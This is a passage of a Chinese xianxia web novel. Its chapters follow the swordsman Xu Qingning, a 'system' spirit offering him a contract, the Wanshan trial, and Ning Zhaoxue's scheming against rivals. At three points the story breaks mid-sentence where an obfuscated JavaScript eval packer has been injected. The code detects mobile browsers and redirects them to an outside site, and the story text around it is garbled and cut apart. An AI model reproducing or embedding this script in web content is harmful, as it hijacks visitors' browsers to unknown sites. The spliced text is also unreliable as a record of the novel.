须清宁难以置信:“你是说,一个放出万妖,让仙门毁灭的人,我还要救赎?” 他恍若听到了最荒谬的事,冷淡的眼神,已经化为霜刃,似可把光灵割成碎片。 那是在他过去就积淀成的恨意。 那是他无法排解的心结。 须清宁说话时,已是又一阵心悸,心里也充满愤怒。 ——一个人,毫无品行,放出万妖毁世,这个所谓和天道相连的怪灵,却要求他去救赎,而不是杀死那人? 须清宁心想,他见到这个人,一定会杀了此人。 他心里生起了杀意。 14.宁听跃 “或许你的确与天道相关。”须清宁最终寒声道,“但你所说之法,恕我无法苟同。” “那你想怎么样?你想杀了她吗?”光灵说,“你又做不到。” 这种语气,让须清宁更为愤怒。 做不到? 什么意思? 光灵:“……总之,从各种意义上来说,你都做不到,去杀她。” “为何如此说?” 光灵却陷入沉默。 须清宁稍微冷静后,压去心中的愤怒,又问:“那说了这么多,反派到底是谁?” “……”光灵却再次不作声,“这个反派,等时机到了,我会告诉你是谁。” “怎么样?要和我签下灵契么?此后,你我合作,完成保护主角和救赎反派的任务。我也会送你一份礼物——” 须清宁望向怪灵。 “天道之玉——或者你也可以称我为‘系统’,会规避一次你的死亡。” 这听上去很诱人。 须清宁却道:“不。” “什么??” …… 仙雾涌上山野。 “清宁。清宁。” 如今的天霁门掌门,是须清宁的叔父须乐川,二人坐在凤凰天车之中。 一路之上,须掌门见须清宁心不在焉地盯着一枚青绿的香囊看,便忍不住喊了他。 须清宁这才回神。 叔父须掌门:“清宁,对待宁家之事,一定要谨慎。他们的手段,你是知道的。今日,恐怕也会不老实。” 须清宁放下香囊,垂眸:“我知道。” 叔父又叹了口气:“我也得提醒你,那个你带回来的孩子,是无品之人,过于弱小,不是足以挡灾的人。你不可让她引起宁家的注意,那会让她死无葬身之地的。” “……”须清宁陷入沉默。最近,在他身上发生的怪事太多了。 的确,他需要……和周拂菱拉开距离。 他点头,表示明白,便把周拂菱送的平安符拿下来,轻手轻脚地放入了芥子符。 他再次看向自己的手背。 他明白——凡事皆有代价。 但是,那天道的力量,那随时响起的系统的声音,还有这手背上的“叁拾叁”,似都在说,一切不由他控制。 须清宁只能走一步看一步。 不久后,他到了仙台,那即将进行万山宴的地方,须清宁要在这里参与“上炼”,也被称为“望道护生”。 [宿主,救世系统警告!你在万山宴上试中,有极高死亡风险!] [是否选择签订灵契?规避风险。] [若是介时才签订,会存在惩罚!] 须清宁沉默着,猛地抬头。 …… 旌旗飞舞,万山轰响。 正是龙潭万山宴起。 下壤也在秘境处架起了看台。 今次试炼,上炼在“天书台”,下试的地点,则在“万云林”。 天书台,仙气缭绕,金观恢弘,浮于高空; 万云林,则深树千重,怪声隐于林,落于下壤。 “听说,这次规则和之前一样,所有参试者分为十二旗,每一旗有六十八位下品修者,上方则是十名高手坐镇指点,一到三品皆有。” “上方高手所行,为‘望道护生’,悟天道,护众生。” “下品修士在万云林中,则需要‘会武破妖’,这既修士考教对战旁的修士的能力,也考验对付妖物的本领。” “说起来,这一旗足有六十八人,因此修者统领调谐的才能,也为稽考之条。” “三大仙门和凡域高门将通过万山宴,挑选有潜力的低品修者入门培养。不知这次,月兮表现得怎么样呢!” 看台之上,载满繁花,周拂菱被贺茵牵着朝前方跑,她们坐在了云台前方,四处都有幻术镜,连着秘境里的连着数颗幻珠的结界,可以让她们和其他观众看清试炼的情形。 “小菱,玉流好些了么?” “好些了。”周拂菱正要说着什么,却忽听一道风声,四方倏然欢呼起来。 “宁家,是宁家来了!” 只见澄澈的幕宇上,一辆华丽的朱雀车踏云奔来,猛气吞云霄,神威蹑万山。 为首,三人伫立,皆是神仙姿态,白衣金带,再听四方仰慕声起。 “宁掌门!” “宁承寒长老!” “朝雪,朝雪仙子呐!” 为首的,正是天宁门掌门宁听跃、长老宁承寒与其女宁朝雪。 周拂菱抬眸,目光直直地望着来人。 掌门宁听跃英姿勃勃,长身玉立,正拉着妻子长老宁承寒。 宁承寒气质温婉,二人手挽手,贴在一起,看上去十分恩爱。 宁朝雪也对众人挥手,一身雪衫,明若芙蕖,夺人眼目。 “好羡慕承寒长老和听跃掌门,当真是一对传奇的眷侣……” 身后一对凡族弟子在讨论,其中一人像是刚来仙门不明所以,只皱眉道:“怎么传奇了?” “你们怎么连这个都不知道?”而一位仙门弟子也凑过来,“这可是当年著名的‘宁门清逆’事件的起源!” 周拂菱也回头了。 只见那仙门弟子,见大家都望过来,便老神在在地一摆扇,开始认真说道了起来: “话说这宁承寒长老为宁家云宁宗第十二代宗主宁昭虎的独女。但当年,她天资不足,不足以执掌一个门派,她叔叔‘毒长老‘宁槐虎便一直试图联合其他长老,等宁昭虎掌门死后把她驱出云宁宗。” “然而,一百零八十三年前,宁昭虎掌门仙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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…… 另一边,仙雾弥漫,众人正在准备万山宴。 须清宁和自己这一旗的人会面,在和各位修士确认规则。 云台之上,是一张地图。 “去青龙逃走之象勘道。”须清宁说,“随后去下方万云林,洪蛇之区。” 同行的一位修士道:“这一次,仙上和山首说,她们放出了那锁在寒狱的八大巨妖,化蛇便是其中之一。在下也已去取得除妖令,必定尽心除妖。” 须清宁点头。 …… “朝雪,你担心的那位姓周的无品之人,你父亲会帮你解决。“ 宁朝雪也握上剑,上场前,她的母亲握住了她的手,“不过一个小人物,你不必担心的。” “但你要做好,你父亲交代的事。” 宁听寒长老,目光灼灼地看着宁朝雪说。 “若是解决不了,母亲会进来,那些人发现也不会怎么样。” “母亲,您放心好了!”宁朝雪轻声道。 …… 青山连绵,万剑齐发。 众人朝天书台和万云林奔去。 15.朝雪 云层凝聚,青龙伏云,众人入天书台之中。 宁朝雪则一直默默看着须清宁,小心地跟着他。 须清宁长身玉立,持着长明剑,踏在云间,墨瞳清寒,道服霜色,裹着他的宽肩窄腰,正若玉树琼枝。 宁朝雪咬唇,不管看了多少次,她都觉得须清宁是她见过最好看的男儿。 她心下惴惴,紧捏法器,小声喊了句:“清宁哥哥!” 不想,须清宁回头冷冷瞟了她一眼,便像无视她一样,往前走。 宁朝雪脸色涨红,恨恨地咬唇,缓缓地攥紧拳头。 实际上,须清宁是云宁宗挑选的联姻对象不错。 宁朝雪其实从少时开始,便一直仰慕须清宁。 须清宁年少时一剑艳动万山, 可谓惊才绝,长得也是顶尖的,他一出现便能让世家的小女修挤满山门。不过,宁朝雪当年本不在其中。 宁朝雪伴丹火出生,天资卓绝,也是天之骄女,一身傲气,怎么会只认皮囊?! 而她和须清宁相识,是在比武大会,那万山宴的下试。 宁朝雪想到这里,双目盈盈地看向须清宁。 当年,二人都是出名的天才少年修士,打得不分伯仲,宁朝雪盼着赢,便耍诈给须清宁下毒。 此事败露让她丢了名额。她的父亲更是拉她去罚跪。 那是宁朝雪第一次经历这样屈辱的事——她不愿,母亲也阻拦,父亲打了母亲一巴掌。 “你们娘俩清醒些。”父亲回头,当时的眼神,是宁朝雪最恐惧的眼神,“想想你有多无用。” “要么不做,要么做了,就不要被人发现。” 宁朝雪最害怕的人就是父亲。这一巴掌也成为了宁朝雪的心病,她从此不擅长掩藏心迹,她害怕做不好,每次撒谎,她就紧张。 而宁朝雪还记得,当年自己跪在山门,满心屈辱,满心痛苦,冰冷的雪仿若要摧毁她的膝盖,见到须清宁出来,她本以为自己会接受父亲那样的眼神。 没想到,须清宁无声扫了她一眼,便对他伯父说:“算了吧。” 又对宁朝雪淡淡道,“宁仙子,知错能改,善莫大焉。勿要再犯便是。” 宁朝雪无声抬眸,眨眼看着须清宁的背影消失。 她无法理解,他为什么说这样的话。 不是应该折辱她,辱骂她,让她丢脸,让她抬不起头吗?她就是这么对其他人的,父亲母亲对其他人也是这样。 他为什么这么对她? 宁朝雪望着须清宁的背影,只觉有一道从未有过的清润溪流,浸润心灵,从此她便疯狂地想念须清宁,也疯一样地追求须清宁。 但须清宁不过说着“抱歉”,不理她。 坎。 宁朝雪觉得,须清宁就是自己的坎。自己人生的烦恼开始,全是来源他。 她对他又爱又恨。 后来,过了很久,众人传须清宁杀了他后母的继夫徐长老还有他的堂弟须蕤,他因此被打出仙门,剥了剑骨,入狱十年。 宁朝雪便想,须清宁虽然配不上她了,但他若是愿意求她,她不是不可以让须清宁在她身边当个侍剑仆,这也算守护着他了。 ——之所以给他这么低的身份,是报复他这百年的拒绝。 当时,她还去看了被邹离从暗狱夺出的须清宁,对他说了这番想法:“清宁哥哥,你做错了,你杀害了须蕤,杀害了况允初山主的新夫婿,铁证如山,都十年了,你便认了吧……” “你这等错误,别人都护不了你……但是,但是,我愿意躲过父亲的耳目,把你接到我的府中,你为我的侍剑奴,是委屈了些,已经是最好的出路了。” 然而,须清宁听到她的提议,不过冷笑了声。 他沉默了很久,才缓缓抬眸:“你很像你父亲和母亲。” “怎么?“宁朝雪一惊,一时不知是夸奖还是批评。 “一样卑劣。” “你却是最愚蠢的一个。” 须清宁说完后,便别开头,一眼不看她。 宁朝雪难以置信地瞪大眼。 她突然很生气,也很憋屈,她想,为什么她那么喜欢他了,他怎么就是不看她一眼,还出言嘲讽? 她气得拔出剑,让人按住被缚的须清宁。 她亲手捅烂他的脸,划了他的耳。 此外,她还故意用剑芒,刺瞎了须清宁的眼睛。 宁朝雪那会儿想啊,清宁哥哥,你这么弱了,你都失去了一切,连看不都看不到了,好看的脸也没了,不是只能依靠我了? 然而,须清宁默默受着,一声都没吭。 他失明前,甚至连一个眼神都没给她。 就在宁朝雪想割了他的舌头时,他又如此嘲讽了邹离。 邹离愤怒至极,把须清宁推下天绝涧。 宁朝雪突然心痛得仿若被撕裂了开来,她这才突然意识到,须清宁太傻了!她也意识到,她好像彻底要失去他了,这种感觉,生不如死,她好像低估了她对须清宁的情意。 宁朝雪差点跟着须清宁一起跳下去。 但始终差点。 一旁的邹离问她怎么不一起跳时,宁朝雪哭了: “若不是爹娘在,等我尽孝,我真随他一起去了!” 而须清宁被推下天绝涧后,宁朝雪也不知道为什么,仙上暴怒,父亲也暴怒,把她和邹离一起罚了,还说他们蠢钝如猪,被求死的须清宁刺激算计不自知。 宁朝雪和邹离因此被关三年禁闭。 她不懂,也不服。 但总之,这之后,宁朝雪不得意,仿若失去了生气,做什么都毫无力气。 她想须清宁。十分想他。 直到有一天,她惊喜地看到了须清宁回来了。那会儿,须清宁的脸和眼睛,手筋脚筋竟然都被奇迹般地治好了。 他的叔父,通过和邹家旁支联姻,重新夺回了天霁门的权柄,须清宁也平了反。 宁朝雪才知道,她原是误会了须清宁,她很痛苦。 她想去找须清宁道歉时,却发现须清宁身边——多出了一个人。 是一个青衣小姑娘,眼眸是宁朝雪最厌恶的明净,笑容是宁朝雪最讨厌的灿烂,看起来也很单纯,十分愚蠢,什么都不懂,小雀一样地蹦蹦跳跳地跟在须清宁身边,唤他“师兄”。 须清宁,在宁朝雪的了解下,是最喜静的,然而,这小姑娘不停地和他说话,天真地问他各种问题,他都不厌其烦地简短解答。 小姑娘没看他时,他望着她,嘴角悄然勾起笑;小姑娘回头时,他又扭开头,藏了笑,冰冷的眸中,却多了分宁朝雪从没见过的暖意。 宁朝雪那会儿便感到自己疯了。 她不过是误会了他,伤害了他,他怎么就不能干净一点地等着她,却在这里和一个不知哪里来的东西眉来眼去?! “清宁哥哥,她是谁啊?”宁朝雪当时面色阴冷,恨不得用目光剜了这少女。 须清宁见到她,突然变了脸色,猛地把那小姑娘揽在身后,他像是在顾忌什么,拉着那小姑娘走了。 须清宁回来后,十分勤奋,运道也似在转好,竟重新回到了一品,超过了郁郁不得志的宁朝雪。 这途中,他和那叫周拂菱的死人形影不离,宁朝雪实在找不到机会下手,等找得到机会,周拂菱身上已经挂满了须清宁送的二品以上护符,护得密不透风,不少是专门针对她的,她动不了。 但清宁哥哥,你以为这样,我就没有办法了吗? 首先,我有一个好母亲。我母亲帮我为你挂上了神魂刺。 宁朝雪永远记得到须清宁中招,被挂上神魂刺的场景,他当时的眼神,几乎可以杀人,冰冷锐利的目光刺在她脸上,若不是母亲在,他一剑过来,几乎可以要她的命。 但那又怎么样?清宁哥哥。你解不开的。 再则,我还有一位好父亲。 今日,你在这里参与上试,我的好父亲,会解决那个只会傍着你、无依无靠的野种。 宁朝雪想着,便紧紧跟着须清宁。 无论如何,她今天都要跟着须清宁。 哦,除了去办,父亲让她办的那件事。 …… 宁朝雪的确一路都跟着须清宁,然而,她很快惹了众怒。 因为,好几次,她为了跟着须清宁,心绪乱了,肆意放出神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13607430|143004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 念,破坏先前议论好的部署,甚至几次冒进指挥,让门下的修士破坏了其他门派的高品修士修好的阵眼。 这也不怪宁朝雪,她在云宁宗,一向说一不二,她作为宁听跃和宁承寒之女,也有几分天赋。 天赋、家世皆在……不少人隐忍不发。 然而,一位褐衣女修,却终在自己一位师弟要勘的阵法也被宁朝雪的神念破了后,大声道:“宁朝雪仙子,这是试炼场,不是戏场!你心仪须清宁少掌门,要跟着他,要他注意你,那也只是你自己的事!你这么破坏咱们这一旗的部署,肆意抢拿你自己的功德,只会拖累这一旗!不求你帮助咱们,但求你高抬贵手,别行其蠢如猪的事!” 宁朝雪听前面,本来还不在意,但听到那句“其蠢如猪”,宁朝雪猛地抬起头,双眸圆睁: “你怎可如此出言?我如此做,不过是门中的做法……你们凡族大都生活在青山,不懂仙门之礼,也罢。” 宁朝雪虽然性子暴戾,但一向对外还是讲求体面,她说话时,一双美眸渗红,傲气抬头。 过去,仙门中人见大小姐如此,早就群起而攻之那对她出言不逊的人。 果然,一位云宁宗的仙官,站出来道:“是啊,我们朝雪仙子,一向为人和善,重视大局,你们凡族,眼界低,便如此构陷我们朝雪师姐,是活腻了吗?” 曾经,宁朝雪和师弟此话一说,一向可以震住场面。 但偏偏,今日来的不少是凡族高阶武修,不少都是族内的大佬,也不知道她真实的手段,更不稀得鸟她。 只见一位拿着锄头的男修,也神念四散,一旁巨石,四分五裂,他暴吼道:“我去你的!谁在胡说八道?!朝雪仙子一个二品,本就修为在我们修天书之人中不算上品,还一路冒进破坏,此时还带人去指责苗修士?你真当我们眼瞎?还是当我们凡族是好欺负,任你们拿捏的?也罢,所有人都停下,出去找邹盟主和山首论一番礼!” 宁朝雪气得眼睛都红了。 她的仙官想回嘴,但这青山凡族全都是爆脾气,竟远超他们仙门。云宁宗仙官都被骂得面红耳赤。 而过去,宁朝雪还可以仗着自己门派的人多,占据优势,但今次,她为了和须清宁一同前行,自己人就一个,宁朝雪完全无法占上风。 她看向须清宁,须清宁一直垂眸,一副事不关己高高挂起的样子,没有参加他们的纷争。 “清宁哥哥,你不为朝雪说句话么?”宁朝雪又委屈,又伤心。 须清宁默默看着她,一双墨眸幽深,像是在思考什么。 半晌,他才开口。 “勿听狂吠。” 须清宁看向其他人道,“诸位被拖的进度,若信得过,清宁会尽力补回。” 宁朝雪难以置信地睁眼,她反应了会儿,才反应过来须清宁在说她。 不,清宁哥哥,你怎么敢?! 你怎么这么对朝雪…… 让我如此丢脸? 让我如此心痛?! 遇见他真是她在偿前生孽债。 凡族人不买宁朝雪的账,却买须清宁的账。 一来须清宁有才,方才议论决议,他才思敏捷,广纳众言,又可分清利弊;二来,须清宁虽然气质冷漠,但行事谦逊,决议一定会问过诸位修士才定下,可是对他们给足了尊重; 三来,须清宁和一些凡族本就有旧交,就算是亲况允初派的,也因他救了花家兄妹,对他心中有感念之情。 这番下来,方才凡族攻击宁朝雪时才没有带着须清宁,此时见他态度,都微微讶异,随他而去。 宁朝雪跟在后面,眼泪包在眼眶里,伤心、委屈得几乎要流泪。作为骄傲的大小姐,她很少如此憋屈过。 但她也知道,清宁哥哥是恨她当年做的事。 不过,她也是有苦衷的,也是情绪上了头,清宁哥哥怎么就不能理解她呢? 她强忍委屈,跟上了须清宁。修清宁这么对她,她尚能忍,但其他人,不能。 宁朝雪的目光一一扫过同旗的凡族人,把他们的名字一一记在心里,趁人不注意,她以玉简传之: [娘,这凡族贱人,欺辱朝雪!] 16.柔弱 其实宁朝雪这种做法,在任何正常的仙法时代来看,甚至让仙上邹兰辞来看,都是十分奇葩的(虽然她有一个也会这么做的儿子)。 身为百岁仙师,遇见问题,还用玉牒找娘诉苦,这真是奇闻! 但奈何,宁朝雪从小便被她母亲宁承寒宠坏了,修为不虚,但心智虚。 她的母亲,宁承寒,是云宁宗掌门的长女,自小是在蜜罐中长大的,再因为和宁听跃这个修道天才结侣掌权,自认为没吃什么大亏,便把宁朝雪同样法子养成,履历都是众星拱月堆的。 宁朝雪也没认为自己有问题。 不多时,众人进入了天书台的青龙之象中,宁朝雪本想为难一番那先和她呛嘴的女修,刚走几步,没想到,身后却倏然一冷,回首,只见须清宁冰冷的剑气横在她的身前。 他一双黑不见底的眼冷漠地望着她,忽然让宁朝雪遍体生寒。 她咂嘴,抿起唇,只得作罢。 …… 那天象被快速地破开了。 众人无不聆听圣音,可谓初时冯冯翼翼,而后生气凝精。 “南洲有大乱又大盛之象。” 宁朝雪见状,凝眉,南洲,可不是她们云宁吗?但无所谓,大乱又大盛,那定是爹爹阿娘稳住了! 她当即自信地微笑。 须清宁则让人一同录下此象,神念传至仙台,这便是“望道”,之后需要“护生”。 一道白光,射向了下壤的万云林。 “我们这一旗之人要找的宝物,为‘水潦镜’。” 一位修士翻开玉牒道。 “去帮他们。”须清宁说。 只见下方的万云林,竟是洪涝四起,一位女修站在山崖上。 “咦,下面是谁?那不是花月兮修士么?” 竟是洪涝之中,妖鬼作怪,花月兮头顶渗汗,却是在有序地指挥。 再细看,花月兮竟是带领自己这一旗和旁旗联盟,互帮互助。她没有只顾自己那一旗,而是耐心地带人共同铸出一条灵力长阶,如桥般横在高空,救了不少修士。 是有人作怪,花月兮虽然擅长协作,但差点躲闪不及,被一位高阶修士相助,才躲去。 “花月兮修士,若是愿意,万山宴之后,可来本座门下寻本座。”花月兮那一旗的高阶修士道。 花月兮:“多谢!” 方才被忽视的宁朝雪,见状更不是滋味。 她被嫌弃,花月兮竟惹了眼……她心里泛起一阵酸妒之意,猛地想起了父亲宁听跃交代之事,又微笑起来。 花月兮,你一会儿落了单,就惨了。 …… “清宁哥哥,你们入东边的洞口杀化蛇,我便不随你们进了吧?”宁朝雪踩在石头上,那里布满青绿的蛇卵,可以腐蚀仙器,“我怕毒卵再次孵化,我便在外面清卵罢。” 须清宁回首。 不少他身后修士,听到宁朝雪开口,皆是眉头一跳,生怕她又乖张提出害人之事。 但听她所言,松了口气。 清妖卵,即防止妖物再生。 设这等法阵,对高品来说,是简单的活,但也的确需要高品修士带头做。 宁朝雪本就和须清宁之外的人相处不快(和须清宁能相处愉快也是她单向认为的),不少人是希望她不同行的。 须清宁沉默了会儿,回头道:“苗修士,还望你一起留下清卵。” “啊?!” 苗修士正是先前和宁朝雪先吵起来的修士,本是不解,但想到须清宁可能是不放心宁朝雪一人在这里,不由点头。 宁朝雪见留下的是先前对自己出言不逊的女修,也极为不爽。 但她突然想到,留下便留下,她娘来了,也好一起报复,还能用花月兮牵制她,也不是不可。 “苗修士,还望勿要生气,方才,都是朝雪之过。”思及此,宁朝雪对苗姓修者笑道。 那苗姓修者闻言,脸色也好了些,道:“也罢,也罢。朝雪仙子,你我定要携手清好这妖卵,不可再节外生枝,拖累了须少掌门他们!” “这是自然!”宁朝雪笑靥如花。 …… “小茵姐姐,你这是要带我去哪里?” 周拂菱本在云台观战。 不想,贺茵拿出传讯玉牒,收了一条讯后,她突然拉起周拂菱的手,就往云台下去。 “是这样。”贺茵抿唇,悄声说,“少掌门先前,就托我带你去见一人,现下时机到了。” 周拂菱蹙眉:“什么?” 只见云台之后,数辆牛车,牛车上攀着青藤,里面坐着一位女子,一身青衫,萱草为饰。 周拂菱认出,这是那凡族苗家的家主。 贺茵小声道: “这正是须少掌门要我带你见的人,为苗家山主苗葭。” “她是二品,八大山主之一,擅养灵树、疗伤和隐匿。少掌门已和她说好,收你为亲传弟子,以后这也算是你的去处。是最好的去处了。” 周拂菱猛地抬眼:“师兄分明没和我说好啊。我不想走。” 其实,早在周拂菱和须清宁提出结侣前,须清宁就提起要她拜凡域山门的师尊了。 周拂菱拒绝了。 但须清宁独断专行,竟又是背着她做了决定。 周拂菱很不快。 她分明记得前几日,她一直待在花玉流那里时,须清宁还时不时来找她,行一些莫名其妙的事,或道一些他们早知道答案的简单之问。 “你就一直待在花玉流这里?”他当时还垂眸问。 “是。” “你现在便喜欢他了?” “相看后,觉得是可以试试。”周拂菱没把话说死。 须清宁指尖发白,手背青筋隐起。 过了会儿,他却说: “……‘长青镯’。” “什么?” “你不是想要‘长青镯’么?龙风大师二十年一铸,今次一出,我正好得来。你跟我回去取吧。”他低声道,“花玉流,你也不必亲自照顾。” “……不,我想继续看着玉流。”周拂菱沉默了下说,“师兄你先回去吧。我等他稳定下来找你拿镯子。谢谢师兄。” 须清宁:“……” 须清宁当时沉默很久,转身走了,走时看上去有点隐忍的怒气。 想远了。须清宁脾气一向又冷又大,周拂菱不打算在这件事上多做分析,在她看来,这不是须清宁现在把她赶去凡域的原因。而宁家现在碍着形势还没有出手的迹象,须清宁怎么看都不该让她走。 难道,须清宁要有什么动作了? 周拂菱低头,手腕上正是“长青镯”,是她长霄节在《西洲志》上看到的灵物,精致雕琢的金镯上,长出了芬芳的灵草和菱花,可以随主人意动,像是一个小花园一样。 她的影子也覆在镯子上,眸光晦暗不明。 苗家主已迎了出来。 贺茵忙带着周拂菱拜下:“苗家主,天霁门五品符执贺茵,受东洲方相、天霁门少掌门须清宁之托,将周拂菱师妹托付于您了。” “好,好,孩子。”苗家主拉住周拂菱的手,“你的情况,须少掌门已经告知我了,以后,你就当毓苗山是你的家。” 见周拂菱面露迟疑,她又拿出一枚玉佩,周拂菱哑声,这正是须清宁之信物。 而后,苗家主缓声道,“你有所不知,须少掌门的母亲,于我有恩,当年苗家身陷天绝涧,是夏大仙师折返,把我和一族姐妹救了后送出去。” “然而,当年宁少掌门遇难,苗家也深陷囹圄,不得出手,我脱身后得知此事,更是夜不能寐,深感愧疚。当下为你之事,须少掌门亲自造访,焉可不应?放心,对你,苗家一定视如己出。” 周拂菱凝眉,只见毓苗山长老握住她的手,十分温和。 她突然想起了自己母亲的手。 自己的母亲,曾握着她的手,把她抱在怀里,却突然把她从父亲那里偷来的书撕了: ——“小菱,不要看史册经书哦。那都是害人的东西。懂得越多,越会害了你。作为可爱的女孩子,看阿娘与你的闲趣话本,阿爹与你的武诀,不就够了?” 那刺耳的撕书声音,仿若响在耳边,周拂菱一阵诡异的心悸。 但随即,她感受到了母亲温暖的手,和柔和的心,面前的苗家主,也让她想起了母亲的感觉。 她鬼使神差地点了头。 之后,周拂菱却猛地抿唇。 她点什么头?她还有事要去做呢! 贺茵好打发,这个苗家主不见得好打发。 然而,苗家主牵着她的手,要她一起上车。 坐在满室馨香里,周拂菱突然道:“是师兄遇见什么事了吗?” 苗家主捏了捏周拂菱的脸,小声道:“小拂菱,好了,别问了。走吧,和我回山中避一阵子,仙门大概要不太平,这也是为你师兄好。你和我走了,他才放心呀。” “……”周拂菱不太喜欢被捏脸的感觉。 母亲父亲从不对她这样。 苗家主又说:“我们都要护住小拂菱呀。” 周拂菱:“……” 苗家主微笑地看着沉默的周拂菱,心里却隐隐忧虑。 她的确是记恩之人,愿对周拂菱好,也愿护着,但不得不说,周拂菱这般表现,有点不识趣。 作为无品之人,她的确不跟在须清宁身边拖累他得好。 为了不伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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万山会武之景,被映幻的阵法,投在了云雾之上。 修士们在万云林的重要地点设下录影珠,再在这云雾上放出。 他看到须清宁已入洞穴,三下五除二,除了化蛇,心里暗暗冷笑一声,却突然睁眼。 邹兰辞:“听跃,这是怎么了?” “有要事,要处理一番。” “可要我派人助你?” “不必,多谢仙上好意。”宁听跃假笑,他怎么听不出对方刺探之意。 而他脸色急变,走出观天台后,手掌倏然现出一道金影。 金影飘浮流动,金影之下,却是手掌下的一条血脉,似有虫在蠕动。 “来了。”宁宗主蹙眉,那蠕虫般的血脉旋即平复,而后,他冷笑一声,“以为这样?我查不出你所踪么?” 一道金光,射下山去。 “掌门,怎么了?” “随我下山。” …… 贺茵满头冷汗,惴惴不安,也知这里不可久留。 她打算去往那观云台的中心,做完要做的事就离开,手却突然被拉住。 抬头,是那盲眼婆,振振有词:“别去,别去!回东洲去。回天霁门去!你会受苦。你会受大苦,流血削皮,半死难活!” 贺茵知这盲婆神神叨叨,过去周拂菱与其玩闹,她也不曾参与,不想当真。 这会儿,听她如此说,心里打起突。 但那老人又说:“不过,你能活……你若执意要去,你的朋友,那位小姑娘,会救你的命!” “谁?” “她呀!” 盲婆拿出一枚青面金绣的平安符,低声道:“就是送我这道符的‘她’呀。” 贺茵一愣。她认识这道符,正是周拂菱送大家的。 而她本冷汗淋漓,万分紧张,听到盲婆如此说,却突然松了口气——心头的石头落下。 她傻了。 怎么可能有人未卜先知呢?能未卜先知一二的,都在通天台上坐着呢。 拂菱……拂菱没力量啊。 这下,她全知这盲婆在胡说。 “哈哈哈哈,哈哈哈。”或许是过于紧张,贺茵捂住耳后的伤,以苦笑缓释紧张,“你错了。小菱是无法修行的凡族,人也不在这里呢。” “是我保护她。” “若能回来,我也会继续护着她的。” 贺茵摇了摇头,走了。 17.算计 贺茵缓缓走向那云台的中央,她踩着浮云,咬牙要放出一枚映幻珠。 映幻珠,分一阴一阳,可放于特定方位,以扰乱仙盟放在万云林中的映幻阵法,放出她想映出的东西。 而贺茵上次推出的方位,一个在万云林里,一个在这云台。 放出两颗幻珠,她想做的事,便能做成。 另一颗,则在花月兮那里…… 贺茵垂眸想,月兮,等丢出这幻珠,我便能在这万山宴上,映出我想道出之事,你我两颗同出,这揭露那贱人罪行的幻象即成,你是否能帮我做到呢? 贺茵正要施法,手却突然被攥住。 而她抬头,手却发起抖,牙也开始打颤。 只因,抓住她的人,正是宁朝雪之父,云宁宗宗主宁听跃。 他器宇轩昂,双眸凛凛有威,目光却如毒蛇一样,攀在她的脸上,像是在审视,像是在辨认。 “……”贺茵张了张唇。 啪! 贺茵想逃,宁听跃却狠狠地扇了她一巴掌。 这一巴掌,扇得贺茵一张脸都在剧痛,惨烈的剧痛,她发出了哀鸣。 而奇怪的是,四周的光景像是停下了。 她被团团云雾幻术包裹,没人发现,没人能听见。 绝望和痛苦中,贺茵晕过去了。 …… “朝雪仙子,你这是在做什么呢?” 那位被留下来的苗修士肺都要气炸了。 因为宁朝雪并没有认真地清理蛇卵。 相反,宁朝雪所在之处,蛇卵倏然破了,污了水流。 这可是要误了参与下试的修士的事的。 不少参加下试的修者身上,根本没有法器来保护他们隔绝此等毒性。 但苗修士没有证据,只能一把夺了宁朝雪的剑。 宁朝雪冷笑:“好啊,苗修士,你夺人之剑,凡族人便是如此霸凌仙族人的么?!” 苗修士嘴笨,气得脸红,二人正在争执,花月兮过来了,小心道:“这是怎么了?” 只因方才洪流之下,不少修士重伤,花月兮处理了这事,便请他旗离开,带着自己旗下人过来。 她一向耳清目明,为人又热情大气,不过半日,俨然一旗首领。 而苗修士也认得她,也欣赏她,便把蛇卵入水之事说了。 没明说,但暗示了是宁朝雪做的。 “这毒卵冲到下方,用拔山咒便是,有什么大不了的?”宁朝雪说。 花月兮猛地皱眉:“朝雪仙子,不可!拔山咒可是拔山挪水的阵法,再用,只怕会再引洪流,毁了我们三旗修士的部署!” “那可怨不得我,你我也并非一旗,不是么?” “朝雪仙子,这本是我和你们那一旗的弟子共筑的,并非我一旗之事。”花月兮眼露恳求。 宁朝雪却道:“不,你说的,毫无根据。我怎知你们会不会说谎,会不会联合起来害我?凡族人,品行可不好。” “……你!” 众人皆是愤怒。 很少有高阶修士,如此难看地为难人的。 苗修士和不少人,眼里喷火,还有其他旗的人也来,围住他们。 宁朝雪早习惯了这种眼神。愤怒、但无用的低阶层人的眼神。脆弱得跟老鼠一样。 但这会儿被围着这样看,她也不喜欢。 哪怕她真要破坏,她可是丹火仙子,是天才,他们也该是仰望的,这样看戏子般地看她干嘛? 宁朝雪忿忿瞪了眼始作俑者花月兮,倏然想起来,先前须清宁便因为这花家兄妹为难她。 她宁朝雪治不了一身贴着护符的周拂菱,还治不了花月兮这个凡族低阶修士吗? 宁朝雪想到一会儿要发生的事,心情好上了些,正想着,她腰间玉牒倏然一烫,她知是母亲来信了。 时机已到。 宁朝雪微笑:“罢了罢了,既是如此,我去把那化卵之毒清了便好。看,化蛇卵之毒已飘至南边的洞内……我需一人相助,与我同行,最好是那会驯养食污兽之人,这样也可省点力。” 众人左看右看,最终看向花月兮,只因花月兮出生花灵山,便是驯灵兽最强大的家族。 花月兮皱眉:“但我若去了,我的下试……” 